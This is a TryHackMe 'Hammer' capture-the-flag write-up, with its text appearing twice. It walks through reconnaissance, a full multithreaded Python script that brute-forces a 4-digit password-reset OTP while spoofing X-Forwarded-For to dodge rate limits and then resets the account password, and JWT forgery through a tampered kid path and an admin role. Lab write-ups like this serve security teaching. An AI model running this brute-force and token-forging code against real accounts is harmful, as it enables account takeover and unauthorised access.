TryHackMe: Hammer
Nmap Scan We started off with an nmap scan As we can observe, we see 2 ports are open: 22: for SSH 1337: for http This indicate an opening window to access the website hosted on port 1337. Accessing Port 1337 Upon accessing the website, we see a page as screenshot above. We can now view page source to see what else we can find. As observed, we can see a dev note indicating a specific naming convention of the directories. This indicate a potential use of GoBuster onto target website to extract more details. GoBuster We first run GoBuster on the target website using a usual directory list, getting the results as shown. We then follow the naming convention as mentioned in the Login page source, hoping to explore more directories, and sure we did as seen below. Exploring Directories Upon accessing hmr_logs directory, we can see a file named error.logs. After clicking on it, we see our first valid email that is registered in the system, tester@hammer.thm. Using Email Found We can use this lead to the forget password page. We can then login, which brings us to a page with OTP of 4 digits, and a countdown timer of 180 seconds. Upon sending the request to Repeater in Burp Suite, we can see that it has a rate limit as well. We see that the request does not have the X-Forwarded-For parameter in the Header. This is important as it shows the source IP that sends the request to the server. We can put another IP address that is not ours, and we expect the rate limit to reset. As expected, the limit rate resets. Exploitation We can create a python scirpt as follows to bypass the OTP authentication by brute forcing, exploiting this vulnerability. import requests import random import threading from requests.adapters import HTTPAdapter from urllib3.util.retry import Retry url = "http://:1337/reset_password.php" num_threads = 50 stop_flag = threading.Event() # Retry mechanism retry_strategy = Retry( total=5, backoff_factor=1, status_forcelist=[500, 502, 503, 504], raise_on_status=False ) adapter = HTTPAdapter(max_retries=retry_strategy) session = requests.Session() session.mount("http://", adapter) def brute_force_code(start, end): for code in range(start, end): code_str = f"{code:04d}" try: r = session.post( url, data={"recovery_code": code_str, "s": ""}, headers={ "X-Forwarded-For": f"127.0.{random.randint(0, 255)}.{random.randint(0, 255)}" }, timeout=10, allow_redirects=False, ) if stop_flag.is_set(): return elif r.status_code == 302: stop_flag.set() print("[-] Timeout reached. Try again.") return elif "Invalid or expired recovery code!" not in r.text: stop_flag.set() print(f"[+] Found the recovery code: {code_str}") print("[+] Sending the new password request.") new_password = "Password123" session.post( url, data={ "new_password": new_password, "confirm_password": new_password, }, headers={ "X-Forwarded-For": f"127.0.{random.randint(0, 255)}.{random.randint(0, 255)}" }, ) print(f"[+] Password is set to {new_password}") return except requests.exceptions.RequestException as e: print(f"Error: {e}") continue def main(): print("[+] Sending the password reset request.") session.post(url, data={"email": "tester@hammer.thm"}) print("[+] Starting the code brute-force.") code_range = 10000 step = code_range // num_threads threads = [] for i in range(num_threads): start = i * step end = start + step thread = threading.Thread(target=brute_force_code, args=(start, end)) threads.append(thread) thread.start() for thread in threads: thread.join() if __name__ == "__main__": main() The explaination of code is as follows: Key Components Imports requests: Used to send HTTP requests. random: Generates random values (used here for random IPs in headers). threading: Enables multithreading to run multiple brute-force attempts concurrently. HTTPAdapter and Retry: Implements a retry mechanism to handle transient errors like timeouts or server issues. Global Variables url: The target URL for the password reset form. num_threads: Number of threads to use for the brute-force operation. Set to 50. stop_flag: A threading Event object used to signal all threads to stop when the corr

Nmap Scan
We started off with an nmap scan
As we can observe, we see 2 ports are open:
- 22: for SSH
- 1337: for http
This indicate an opening window to access the website hosted on port 1337.
Accessing Port 1337
Upon accessing the website, we see a page as screenshot above.
We can now view page source to see what else we can find.
As observed, we can see a dev note indicating a specific naming convention of the directories. This indicate a potential use of GoBuster onto target website to extract more details.
GoBuster
We first run GoBuster on the target website using a usual directory list, getting the results as shown.
We then follow the naming convention as mentioned in the Login page source, hoping to explore more directories, and sure we did as seen below.
Exploring Directories
Upon accessing hmr_logs
directory, we can see a file named error.logs.
After clicking on it, we see our first valid email that is registered in the system, tester@hammer.thm.
Using Email Found
We can use this lead to the forget password page.
We can then login, which brings us to a page with OTP of 4 digits, and a countdown timer of 180 seconds.
Upon sending the request to Repeater in Burp Suite, we can see that it has a rate limit as well.
We see that the request does not have the X-Forwarded-For
parameter in the Header. This is important as it shows the source IP that sends the request to the server. We can put another IP address that is not ours, and we expect the rate limit to reset.
As expected, the limit rate resets.
Exploitation
We can create a python scirpt as follows to bypass the OTP authentication by brute forcing, exploiting this vulnerability.
import requests
import random
import threading
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry
url = "http://:1337/reset_password.php"
num_threads = 50
stop_flag = threading.Event()
# Retry mechanism
retry_strategy = Retry(
total=5,
backoff_factor=1,
status_forcelist=[500, 502, 503, 504],
raise_on_status=False
)
adapter = HTTPAdapter(max_retries=retry_strategy)
session = requests.Session()
session.mount("http://", adapter)
def brute_force_code(start, end):
for code in range(start, end):
code_str = f"{code:04d}"
try:
r = session.post(
url,
data={"recovery_code": code_str, "s": ""},
headers={
"X-Forwarded-For": f"127.0.{random.randint(0, 255)}.{random.randint(0, 255)}"
},
timeout=10,
allow_redirects=False,
)
if stop_flag.is_set():
return
elif r.status_code == 302:
stop_flag.set()
print("[-] Timeout reached. Try again.")
return
elif "Invalid or expired recovery code!" not in r.text:
stop_flag.set()
print(f"[+] Found the recovery code: {code_str}")
print("[+] Sending the new password request.")
new_password = "Password123"
session.post(
url,
data={
"new_password": new_password,
"confirm_password": new_password,
},
headers={
"X-Forwarded-For": f"127.0.{random.randint(0, 255)}.{random.randint(0, 255)}"
},
)
print(f"[+] Password is set to {new_password}")
return
except requests.exceptions.RequestException as e:
print(f"Error: {e}")
continue
def main():
print("[+] Sending the password reset request.")
session.post(url, data={"email": "tester@hammer.thm"})
print("[+] Starting the code brute-force.")
code_range = 10000
step = code_range // num_threads
threads = []
for i in range(num_threads):
start = i * step
end = start + step
thread = threading.Thread(target=brute_force_code, args=(start, end))
threads.append(thread)
thread.start()
for thread in threads:
thread.join()
if __name__ == "__main__":
main()
The explaination of code is as follows:
Key Components
Imports
-
requests
: Used to send HTTP requests. -
random
: Generates random values (used here for random IPs in headers). -
threading
: Enables multithreading to run multiple brute-force attempts concurrently. -
HTTPAdapter
andRetry
: Implements a retry mechanism to handle transient errors like timeouts or server issues.
Global Variables
-
url
:- The target URL for the password reset form.
-
num_threads
:- Number of threads to use for the brute-force operation. Set to 50.
-
stop_flag
:- A threading
Event
object used to signal all threads to stop when the correct recovery code is found.
- A threading
Retry Mechanism
The script uses a retry strategy with:
- Up to 5 retries (
total=5
) for transient HTTP errors like500
,502
,503
, and504
. - A 1-second backoff between retries.
This ensures that network or server issues don’t stop the attack prematurely.
brute_force_code(start, end)
This function performs the brute-force attack for a range of recovery codes (start
to end
).
Steps:
- Loop through codes in the range:
- Each code is zero-padded to ensure it is always 4 digits (e.g., `0001`, `0456`).
- Send a POST request:
- Data sent includes:
- `recovery_code`: The current code being tested.
- `s`: A parameter specific to the form (possibly a hidden input field, value `180` is used here).
- Header includes:
- `X-Forwarded-For`: A spoofed random IP address (e.g., `127.0.x.y`).
- Handle responses:
- **If `stop_flag` is set**: Exit immediately since the correct code was already found.
- **If status code is `302`**: Indicates a timeout or redirection. Prints a message and exits.
- **If the recovery code is valid**:
- Stop all threads by setting `stop_flag`.
- Print the correct recovery code.
- Send a POST request to reset the password with a new value (`Password123`).
- Print the new password.
- Error handling:
- Catches any `requests` exceptions (e.g., timeouts, connection errors) and continues testing.
main()
This is the main function orchestrating the attack.
Steps:
- Send a Password Reset Request:
- Sends an initial POST request with the email `tester@hammer.thm` to trigger the password reset process.
- Divide the Code Range:
- Divides the 4-digit range (`0000`–`9999`) into equal parts for each thread:
- `step = code_range // num_threads` calculates the size of each thread’s range.
- For 50 threads, each thread tests 200 codes (`10000 ÷ 50 = 200`).
- Start Threads:
- Creates and starts a thread for each range. Each thread runs `brute_force_code` with its assigned range.
- Wait for Threads to Finish:
- Calls `thread.join()` for each thread to ensure the program doesn’t terminate until all threads complete or stop.
Logging In
With the password set to Password123, we can now log in.
And we can find our first flag.
As we observe further, we can see a textbox to input commands. We also get redirected to the login page fairly swiftly, meaning we can't stay in that page for long.
Instead I send the request to the Intruder of Burp Suite entering a random command.
We can see that there is a session token being assigned to us upon logging in. Other than that, we also see that not all commands are allowed to be executed. However, we can execute ls
.
1 file in particular looks interesting, that is 188ade1.key
. We can download that by exploring http://
. After that we juist read the file on out machine.
We got a key. This may point towards the token that we saw earlier. Now let us examine the token further.
Token
As we paste the token in JWT.io, we can see its details.
Above are changes that I have made to the token. Explanation is as follows:
- The
kid
parameter in the header section shows a path to the key. So I changed it to the path that leads to the key file that we downloaded from, which is/var/www/html/188ade1.key
- For the payload section, I changed the
role
parameter asadmin
, since we can observe from theerror.logs
file earlier, the privileges of theuser
role is quite limiting. - And lastly the key that we found in the
188ade1.key
file is pasted in ther verify signature section.
And with that we just paste the token into the request, and enter the command to find the final flag.